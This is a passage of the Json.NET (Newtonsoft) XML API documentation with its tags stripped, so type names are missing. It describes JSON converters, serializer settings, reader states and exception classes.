otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how default values are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how objects are created during deserialization. - The default value is . - - The object creation handling. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets a collection that will be used during serialization. - - Collection that will be used during serialization. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. - The default value is false. - - - true if there will be a check for additional JSON content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Creates a new instance. - The will not use default settings - from . - - - A new instance. - The will not use default settings - from . - - - - - Creates a new instance using the specified . - The will not use default settings - from . - - The settings to be applied to the . - - A new instance using the specified . - The will not use default settings - from . - - - - - Creates a new instance. - The will use default settings - from . - - - A new instance. - The will use default settings - from . - - - - - Creates a new instance using the specified . - The will use default settings - from as well as the specified . - - The settings to be applied to the . - - A new instance using the specified . - The will use default settings - from as well as the specified . - - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Populates the JSON values onto the target object. - - The that contains the JSON structure to read values from. - The target object to populate values onto. - - - - Deserializes the JSON structure contained by the specified . - - The that contains the JSON structure to deserialize. - The being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The type of the object to deserialize. - The instance of being deserialized. - - - - Deserializes the JSON structure contained by the specified - into an instance of the specified type. - - The containing the object. - The of object being deserialized. - The instance of being deserialized. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to write the JSON structure. - The to serialize. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - - - Serializes the specified and writes the JSON structure - using the specified . - - The used to 